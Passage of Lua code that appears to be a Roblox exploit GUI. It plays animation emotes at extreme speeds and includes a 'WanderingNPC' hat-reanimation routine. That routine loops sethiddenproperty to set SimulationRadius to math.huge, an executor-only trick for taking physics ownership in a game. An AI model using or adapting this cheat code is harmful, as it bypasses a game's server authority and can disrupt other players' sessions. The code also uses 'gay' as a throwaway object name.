		SpinDance2.MouseButton1Click:connect(function()
			SpinDance2ACTIVE = not SpinDance2ACTIVE
			if SpinDance2ACTIVE then
				SpinDance2.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if SpinDance2ACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				SpinDance2.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204292303"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local BowDownACTIVE = false
		BowDown.MouseButton1Click:connect(function()
			BowDownACTIVE = not BowDownACTIVE
			if BowDownACTIVE then
				BowDown.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if BowDownACTIVE then
						track:Play(.1, 1, 3)
					end
				 end
				end
			else
				track:Stop()
				BowDown.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204295235"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local SwordSlamACTIVE = false
		SwordSlam.MouseButton1Click:connect(function()
			SwordSlamACTIVE = not SwordSlamACTIVE
			if SwordSlamACTIVE then
				SwordSlam.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if SwordSlamACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				SwordSlam.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://204295235"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local LoopSlamACTIVE = false
		LoopSlam.MouseButton1Click:connect(function()
			LoopSlamACTIVE = not LoopSlamACTIVE
			if LoopSlamACTIVE then
				LoopSlam.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if LoopSlamACTIVE then
						track:Play(.1, 1, 1e4)
					end
				 end
				end
			else
				track:Stop()
				LoopSlam.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://184574340"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local MegaInsaneACTIVE = false
		MegaInsane.MouseButton1Click:connect(function()
			MegaInsaneACTIVE = not MegaInsaneACTIVE
			if MegaInsaneACTIVE then
				MegaInsane.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if MegaInsaneACTIVE then
						track:Play(.1, 0.5, 40)
					end
				 end
				end
			else
				track:Stop()
				MegaInsane.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://126753849"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local SuperPunchACTIVE = false
		SuperPunch.MouseButton1Click:connect(function()
			SuperPunchACTIVE = not SuperPunchACTIVE
			if SuperPunchACTIVE then
				SuperPunch.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if SuperPunchACTIVE then
						track:Play(.1, 1, 3)
					end
				 end
				end
			else
				track:Stop()
				SuperPunch.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://218504594"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local FullSwingACTIVE = false
		FullSwing.MouseButton1Click:connect(function()
			FullSwingACTIVE = not FullSwingACTIVE
			if FullSwingACTIVE then
				FullSwing.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if FullSwingACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				FullSwing.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://259438880"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local ArmTurbineACTIVE = false
		ArmTurbine.MouseButton1Click:connect(function()
			ArmTurbineACTIVE = not ArmTurbineACTIVE
			if ArmTurbineACTIVE then
				track:Play(.1, 1, 1e3)
				ArmTurbine.BackgroundColor3 = loc
			else
				track:Stop()
				ArmTurbine.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://136801964"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local BarrelRollACTIVE = false
		BarrelRoll.MouseButton1Click:connect(function()
			BarrelRollACTIVE = not BarrelRollACTIVE
			if BarrelRollACTIVE then
				BarrelRoll.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if BarrelRollACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				BarrelRoll.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://180612465"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local ScaredACTIVE = false
		Scared.MouseButton1Click:connect(function()
			ScaredACTIVE = not ScaredACTIVE
			if ScaredACTIVE then
				Scared.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if ScaredACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				Scared.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://33796059"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local InsaneACTIVE = false
		Insane.MouseButton1Click:connect(function()
			InsaneACTIVE = not InsaneACTIVE
			if InsaneACTIVE then
				track:Play(.1, 1, 1e8)
				Insane.BackgroundColor3 = loc
			else
				track:Stop()
				Insane.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://33169583"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local ArmDetachACTIVE = false
		ArmDetach.MouseButton1Click:connect(function()
			ArmDetachACTIVE = not ArmDetachACTIVE
			if ArmDetachACTIVE then
				ArmDetach.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if ArmDetachACTIVE then
						track:Play(.1, 1, 1e6)
					end
				 end
				end
			else
				track:Stop()
				ArmDetach.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://35978879"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local SwordSliceACTIVE = false
		SwordSlice.MouseButton1Click:connect(function()
			SwordSliceACTIVE = not SwordSliceACTIVE
			if SwordSliceACTIVE then
				track:Play(.1, 1, 1)
				SwordSlice.BackgroundColor3 = loc
			else
				track:Stop()
				SwordSlice.BackgroundColor3 = col
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://27432691"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local InsaneArmsACTIVE = false
		InsaneArms.MouseButton1Click:connect(function()
			InsaneArmsACTIVE = not InsaneArmsACTIVE
			if InsaneArmsACTIVE then
				InsaneArms.BackgroundColor3 = loc
				while wait() do
				 if track.IsPlaying == false then
					if InsaneArmsACTIVE then
						track:Play(.1, 1, 1e4)
					end
				 end
				end
			else
				track:Stop()
				InsaneArms.BackgroundColor3 = col
			end
		end)
		-- R15
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://674871189"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local CrazySlashACTIVE = false
		CrazySlash.MouseButton1Click:connect(function()
			CrazySlashACTIVE = not CrazySlashACTIVE
			if CrazySlashACTIVE then
				CrazySlash.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if CrazySlashACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				CrazySlash.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://582855105"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local OpenACTIVE = false
		Open.MouseButton1Click:connect(function()
			OpenACTIVE = not OpenACTIVE
			if OpenACTIVE then
				Open.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if OpenACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				Open.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://754658275"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local R15SpinnerACTIVE = false
		R15Spinner.MouseButton1Click:connect(function()
			R15SpinnerACTIVE = not R15SpinnerACTIVE
			if R15SpinnerACTIVE then
				R15Spinner.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if R15SpinnerACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				R15Spinner.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://582384156"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local ArmsOutACTIVE = false
		ArmsOut.MouseButton1Click:connect(function()
			ArmsOutACTIVE = not ArmsOutACTIVE
			if ArmsOutACTIVE then
				ArmsOut.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if ArmsOutACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				ArmsOut.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://717879555"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		local FloatSlashACTIVE = false
		FloatSlash.MouseButton1Click:connect(function()
			FloatSlashACTIVE = not FloatSlashACTIVE
			if FloatSlashACTIVE then
				FloatSlash.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if FloatSlashACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				FloatSlash.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://708553116"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		WeirdZombieACTIVE = false
		WeirdZombie.MouseButton1Click:connect(function()
			WeirdZombieACTIVE = not WeirdZombieACTIVE
			if WeirdZombieACTIVE then
				WeirdZombie.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if WeirdZombieACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				WeirdZombie.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://746398327"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		DownSlashACTIVE = false
		DownSlash.MouseButton1Click:connect(function()
			DownSlashACTIVE = not DownSlashACTIVE
			if DownSlashACTIVE then
				DownSlash.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if DownSlashACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				DownSlash.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://675025795"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		PullACTIVE = false
		Pull.MouseButton1Click:connect(function()
			PullACTIVE = not PullACTIVE
			if PullACTIVE then
				Pull.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if PullACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				Pull.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://698251653"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		CircleArmACTIVE = false
		CircleArm.MouseButton1Click:connect(function()
			CircleArmACTIVE = not CircleArmACTIVE
			if CircleArmACTIVE then
				CircleArm.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if CircleArmACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				CircleArm.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://696096087"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		BendACTIVE = false
		Bend.MouseButton1Click:connect(function()
			BendACTIVE = not BendACTIVE
			if BendACTIVE then
				Bend.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if BendACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				Bend.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://675025570"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		RotateSlashACTIVE = false
		RotateSlash.MouseButton1Click:connect(function()
			RotateSlashACTIVE = not RotateSlashACTIVE
			if RotateSlashACTIVE then
				RotateSlash.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if RotateSlashACTIVE then
						track:Play(.1, 1, 1)
					end
				 end
				end
			else
				track:Stop()
				RotateSlash.BackgroundColor3 = rcol
			end
		end)
 
		local Anim = Instance.new("Animation")
		Anim.AnimationId = "rbxassetid://754656200"
		local track = game.Workspace.gay.Humanoid:LoadAnimation(Anim)
		FlingArmsACTIVE = false
		FlingArms.MouseButton1Click:connect(function()
			FlingArmsACTIVE = not FlingArmsACTIVE
			if FlingArmsACTIVE then
				FlingArms.BackgroundColor3 = rloc
				while wait() do
				 if track.IsPlaying == false then
					if FlingArmsACTIVE then
						track:Play(.1, 1, 10)
					end
				 end
				end
			else
				track:Stop()
				FlingArms.BackgroundColor3 = rcol
			end
		end)
 
		-- Finished update!
	end)
end
coroutine.wrap(JCBQ_fake_script)()
local function QMMANRT_fake_script() -- WanderingNPC.LocalScript 
	local script = Instance.new('LocalScript', WanderingNPC)
 
		script.Parent.MouseButton1Down:Connect(function()
		local unanchoredparts = {}
		local movers = {}
		 local tog = true
		 local move = false
		 local toggle2 = true
		local Player = game:GetService("Players").LocalPlayer
		local Character = Player.Character
		local mov = {};
		local mov2 = {};
		local head = Character:WaitForChild("BakonHead")
		local Hats = { torso1 = Character:WaitForChild("No Speak Monkey"),
		              torso2 = Character:WaitForChild("Kate Hair"),
		              rightarm = Character:WaitForChild("Hat1"),
		             leftarm = Character:WaitForChild("Pal Hair"),
		             rightleg = Character:WaitForChild("LavanderHair"),
		             leftleg = Character:WaitForChild("Pink Hair"),
		}
		head.Handle.AccessoryWeld:Remove()
		head.Handle.HatAttachment:Remove()
		for i,v in next, Hats do
		v.Handle.AccessoryWeld:Remove()
		for _,mesh in next, v:GetDescendants() do
		if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
		mesh:Remove()
		end
		end
		end
		local Network = coroutine.create(function()
		while true do
		game:GetService("RunService").Heartbeat:Wait()
		settings().Physics.AllowSleep = false
		sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
		sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
		end
		end)
		coroutine.resume(Network)
 
		function ftp(str)
		    local pt = {};
		    if str ~= 'me' and str ~= 'random' then
		        for i, v in pairs(game.Players:GetPlayers()) do
		            if v.Name:lower():find(str:lower()) then
		                table.insert(pt, v);
		            end
		        end
		    elseif str == 'me' then
		        table.insert(pt, plr);
			elseif str == 'random' then
				table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
		    end
		    return pt;
		end
 
		local function align(i,v)
		local att0 = Instance.new("Attachment", i)
		att0.Position = Vector3.new(0,0,0)
		local att1 = Instance.new("Attachment", v)
		att1.Position = Vector3.new(0,0,0)
		local AP = Instance.new("AlignPosition", i)
		AP.Attachment0 = att0
		AP.Attachment1 = att1
		AP.RigidityEnabled = false
		AP.ReactionForceEnabled = false
		AP.ApplyAtCenterOfMass = true
		AP.MaxForce = 9999999
		AP.MaxVelocity = math.huge
		AP.Responsiveness = 65
		local AO = Instance.new("AlignOrientation", i)
		AO.Attachment0 = att0
		AO.Attachment1 = att1
		AO.ReactionTorqueEnabled = true
		AO.PrimaryAxisOnly = false
		AO.MaxTorque = 9999999
		AO.MaxAngularVelocity = math.huge
		AO.Responsiveness = 50
		end
 
		Character.Archivable = true
		local clone = Character:Clone()
		clone.Parent = workspace
		clone.Name = "gay"
		clone.Head.face:Destroy()
 
		align(head.Handle, clone["Head"])
		align(Hats.torso1.Handle, clone["Torso"])
		align(Hats.torso2.Handle, clone["Torso"])
		align(Hats.rightarm.Handle, clone["Right Arm"])
		align(Hats.leftarm.Handle, clone["Left Arm"])
		align(Hats.rightleg.Handle, clone["Right Leg"])
		align(Hats.leftleg.Handle, clone["Left Leg"])
 
		head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
		Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
		Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
		Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
 
		clone:WaitForChild("Head"):FindFirstChild("Attachment").Name = "headattachment"
		clone:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso1attachment"
		clone:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso2attachment"
		clone:WaitForChild("Right Arm"):FindFirstChild("Attachment").Name = "rightarmattachment"
		clone:WaitForChild("Left Arm"):FindFirstChild("Attachment").Name = "leftarmattachment"
		clone:WaitForChild("Right Leg"):FindFirstChild("Attachment").Name = "rightlegattachment"
		clone:WaitForChild("Left Leg"):FindFirstChild("Attachment").Name = "leftlegattachment"
 
		clone:WaitForChild("Torso").torso1attachment.Position = Vector3.new(-0, 0.5, -0)
		clone:WaitForChild("Torso").torso2attachment.Position = Vector3.new(-0, -0.5, -0)
 
		clone:FindFirstChild("Kate Hair"):Destroy()
		clone:FindFirstChild("Hat1"):Destroy()
		clone:FindFirstChild("LavanderHair"):Destroy()
		clone:FindFirstChild("Pink Hair"):Destroy()
		clone:FindFirstChild("Pal Hair"):Destroy()
		clone:FindFirstChild("BakonHead"):Destroy()
		clone:FindFirstChild("No Speak Monkey"):Destroy()
 
		clone:FindFirstChild("Head").Transparency = 1
		clone:FindFirstChild("Torso").Transparency = 1
		clone:FindFirstChild("Right Arm").Transparency = 1
		clone:FindFirstChild("Left Arm").Transparency = 1
		clone:FindFirstChild("Right Leg").Transparency = 1
		clone:FindFirstChild("Left Leg").Transparency = 1
 
 
		if Character.Humanoid.Health == 0 then
				    game.Workspace.gay:Destroy()
				end
 
			function   waitForChild(parent, childName)
			local child = parent:findFirstChild(childName)
			if child then return child end
			while true do
				child = parent.ChildAdded:wait()
				if child.Name==childName then return child end
			end
		end
 
		local Figure = game.Workspace.gay
		local Torso = waitForChild(Figure, "Torso")
		local RightShoulder = waitForChild(Torso, "Right Shoulder")
		local LeftShoulder = waitForChild(Torso, "Left Shoulder")
		local RightHip = waitForChild(Torso, "Right Hip")
		local LeftHip = waitForChild(Torso, "Left Hip")
		local Neck = waitForChild(Torso, "Neck")
		local Humanoid = waitForChild(Figure, "Humanoid")
		local pose = "Standing"
 
		local currentAnim = ""
		local currentAnimTrack = nil
		local currentAnimKeyframeHandler = nil
		local oldAnimTrack = nil
		local animTable = {}
		local animNames = { 
			idle = 	{	
						{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
						{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
					},
			walk = 	{ 	
						{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } 
					}, 
			run = 	{
						{ id = "run.xml", weight = 10 } 
					}, 
			jump = 	{
						{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } 
					}, 
			fall = 	{
						{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } 
					}, 
			climb = {
						{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } 
					}, 
			toolnone = {
						{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } 
					},
			toolslash = {
						{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } 
		--				{ id = "slash.xml", weight = 10 } 
					},
			toollunge = {
						{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } 
					},
			wave = {
						{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } 
					},
			point = {
						{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } 
					},
			dance = {
						{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, 
						{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, 
						{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } 
					},
			laugh = {
						{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } 
					},
			cheer = {
						{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } 
					},
		}
 
		-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
		local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
 
		math.randomseed(tick())
 
		-- Setup animation objects
		for name, fileList in pairs(animNames) do 
			animTable[name] = {}
			animTable[name].count = 0
			animTable[name].totalWeight = 0
 
			-- check for config values
			local config = script:FindFirstChild(name)
			if (config ~= nil) then
		--		print("Loading anims " .. name)
				local idx = 1
				for _, childPart in pairs(config:GetChildren()) do
					animTable[name][idx] = {}
					animTable[name][idx].anim = childPart
					local weightObject = childPart:FindFirstChild("Weight")
					if (weightObject == nil) then
						animTable[name][idx].weight = 1
					else
						animTable[name][idx].weight = weightObject.Value
					end
					animTable[name].count = animTable[name].count + 1
					animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
		--			print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
					idx = idx + 1
				end
			end
 
			-- fallback to defaults
			if (animTable[name].count <= 0) then
				for idx, anim in pairs(fileList) do
					animTable[name][idx] = {}
					animTable[name][idx].anim = Instance.new("Animation")
					animTable[name][idx].anim.Name = name
					animTable[name][idx].anim.AnimationId = anim.id
					animTable[name][idx].weight = anim.weight
					animTable[name].count = animTable[name].count + 1
					animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
		--			print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
				end
			end
		end
 
		-- ANIMATION
 
		-- declarations
		local toolAnim = "None"
		local toolAnimTime = 0
 
		local jumpAnimTime = 0
		local jumpAnimDuration = 0.175
 
		local toolTransitionTime = 0.1
		local fallTransitionTime = 0.2
		local jumpMaxLimbVelocity = 0.75
 
		-- functions
 
		function stopAllAnimations()
			local oldAnim = currentAnim
 
			-- return to idle if finishing an emote
			if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
				oldAnim = "idle"
			end
 
			currentAnim = ""
			if (currentAnimKeyframeHandler ~= nil) then
				currentAnimKeyframeHandler:disconnect()
			end
 
			if (oldAnimTrack ~= nil) then
				oldAnimTrack:Stop()
				oldAnimTrack:Destroy()
				oldAnimTrack = nil
			end
			if (currentAnimTrack ~= nil) then
				currentAnimTrack:Stop()
				currentAnimTrack:Destroy()
				currentAnimTrack = nil
			end
			return oldAnim
		end
 
		local function keyFrameReachedFunc(frameName)
			if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
				local repeatAnim = stopAllAnimations()
				playAnimation(repeatAnim, 0.0, Humanoid)
			end
		end
 
		-- Preload animations
		function playAnimation(animName, transitionTime, humanoid)
			if (animName ~= currentAnim) then		 
 
				if (oldAnimTrack ~= nil) then
					oldAnimTrack:Stop()
					oldAnimTrack:Destroy()
				end
 
				local roll = math.random(1, animTable[animName].totalWeight) 
				local origRoll = roll
				local idx = 1
				while (roll > animTable[animName][idx].weight) do
					roll = roll - animTable[animName][idx].weight
					idx = idx + 1
				end
		--		print(animName .. " " .. idx .. " [" .. origRoll .. "]")
				local anim = animTable[animName][idx].anim
 
				-- load it to the humanoid; get AnimationTrack
				oldAnimTrack = currentAnimTrack
				currentAnimTrack = humanoid:LoadAnimation(anim)
 
				-- play the animation
				currentAnimTrack:Play(transitionTime)
				currentAnim = animName
 
				-- set up keyframe name triggers
				if (currentAnimKeyframeHandler ~= nil) then
					currentAnimKeyframeHandler:disconnect()
				end
				currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
			end
		end
 
		-------------------------------------------------------------------------------------------
		-------------------------------------------------------------------------------------------
 
		local toolAnimName = ""
		local toolOldAnimTrack = nil
		local toolAnimTrack = nil
		local currentToolAnimKeyframeHandler = nil
 
		local function toolKeyFrameReachedFunc(frameName)
			if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
				local repeatAnim = stopToolAnimations()
				playToolAnimation(repeatAnim, 0.0, Humanoid)
			end
		end
 
 
		function playToolAnimation(animName, transitionTime, humanoid)
			if (animName ~= toolAnimName) then		 
 
				if (toolAnimTrack ~= nil) then
					toolAnimTrack:Stop()
					toolAnimTrack:Destroy()
					transitionTime = 0
				end
 
				local roll = math.random(1, animTable[animName].totalWeight) 
				local origRoll = roll
				local idx = 1
				while (roll > animTable[animName][idx].weight) do
					roll = roll - animTable[animName][idx].weight
					idx = idx + 1
				end
		--		print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
				local anim = animTable[animName][idx].anim
 
				-- load it to the humanoid; get AnimationTrack
				toolOldAnimTrack = toolAnimTrack
				toolAnimTrack = humanoid:LoadAnimation(anim)
 
				-- play the animation
				toolAnimTrack:Play(transitionTime)
				toolAnimName = animName
 
				currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
			end
		end
 
		function stopToolAnimations()
			local oldAnim = toolAnimName
 
			if (currentToolAnimKeyframeHandler ~= nil) then
				currentToolAnimKeyframeHandler:disconnect()
			end
 
			toolAnimName = ""
			if (toolAnimTrack ~= nil) then
				toolAnimTrack:Stop()
				toolAnimTrack:Destroy()
				toolAnimTrack = nil
			end
 
 
			return oldAnim
		end
 
		-------------------------------------------------------------------------------------------
		-------------------------------------------------------------------------------------------
 
 
		function onRunning(speed)
			if speed>0 then
				playAnimation("walk", 0.1, Humanoid)
				pose = "Running"
			else
				playAnimation("idle", 0.1, Humanoid)
				pose = "Standing"
			end
		end
 
		function onDied()
			pose = "Dead"
		end
 
		function onJumping()
			playAnimation("jump", 0.1, Humanoid)
			jumpAnimTime = jumpAnimDuration
			pose = "Jumping"
		end
 
		function onClimbing()
			playAnimation("climb", 0.1, Humanoid)
			pose = "Climbing"
		end
 
		function onGettingUp()
			pose = "GettingUp"
		end
 
		function onFreeFall()
			if (jumpAnimTime <= 0) then
				playAnimation("fall", fallTransitionTime, Humanoid)
			end
			pose = "FreeFall"
		end
 
		function onFallingDown()
			pose = "FallingDown"
		end
 
		function onSeated()
			pose = "Seated"
		end
 
		function onPlatformStanding()
			pose = "PlatformStanding"
		end
 
		function onSwimming(speed)
			if speed>0 then
				pose = "Running"
			else
				pose = "Standing"
			end
		end
 
		local function getTool()	
			for _, kid in ipairs(Figure:GetChildren()) do
				if kid.className == "Tool" then return kid end
			end
			return nil
		end
 
		local function getToolAnim(tool)
			for _, c in ipairs(tool:GetChildren()) do
				if c.Name == "toolanim" and c.className == "StringValue" then
					return c
				end
			end
			return nil
		end
 
		local function animateTool()
 
			if (toolAnim == "None") then
				playToolAnimation("toolnone", toolTransitionTime, Humanoid)
				return
			end
 
			if (toolAnim == "Slash") then
				playToolAnimation("toolslash", 0, Humanoid)
				return
			end
 
			if (toolAnim == "Lunge") then
				playToolAnimation("toollunge", 0, Humanoid)
				return
			end
		end
 
		local function moveSit()
			RightShoulder.MaxVelocity = 0.15
			LeftShoulder.MaxVelocity = 0.15
			RightShoulder:SetDesiredAngle(3.14 /2)
			LeftShoulder:SetDesiredAngle(-3.14 /2)
			RightHip:SetDesiredAngle(3.14 /2)
			LeftHip:SetDesiredAngle(-3.14 /2)
		end
 
		local lastTick = 0
 
		function move(time)
			local amplitude = 1
			local frequency = 1
		  	local deltaTime = time - lastTick
		  	lastTick = time
 
			local climbFudge = 0
			local setAngles = false
 
		  	if (jumpAnimTime > 0) then
		  		jumpAnimTime = jumpAnimTime - deltaTime
		  	end
 
			if (pose == "FreeFall" and jumpAnimTime <= 0) then
				playAnimation("fall", fallTransitionTime, Humanoid)
			elseif (pose == "Seated") then
				stopAllAnimations()
				moveSit()
				return
			elseif (pose == "Running") then
				playAnimation("walk", 0.1, Humanoid)
			elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
		--		print("Wha " .. pose)
				amplitude = 0.1
				frequency = 1
				setAngles = true
			end
 
			if (setAngles) then
				local desiredAngle = amplitude * math.sin(time * frequency)
 
				RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
				LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
				RightHip:SetDesiredAngle(-desiredAngle)
				LeftHip:SetDesiredAngle(-desiredAngle)
			end
 
			-- Tool Animation handling
			local tool = getTool()
			if tool then
 
				local animStringValueObject = getToolAnim(tool)
 
				if animStringValueObject then
					toolAnim = animStringValueObject.Value
					-- message recieved, delete StringValue
					animStringValueObject.Parent = nil
					toolAnimTime = time + .3
				end
 
				if time > toolAnimTime then
					toolAnimTime = 0
					toolAnim = "None"
				end
 
				animateTool()		
			else
				stopToolAnimations()
				toolAnim = "None"
				toolAnimTime = 0
			end
		end
 
		-- connect events
		Humanoid.Died:connect(onDied)
		Humanoid.Running:connect(onRunning)
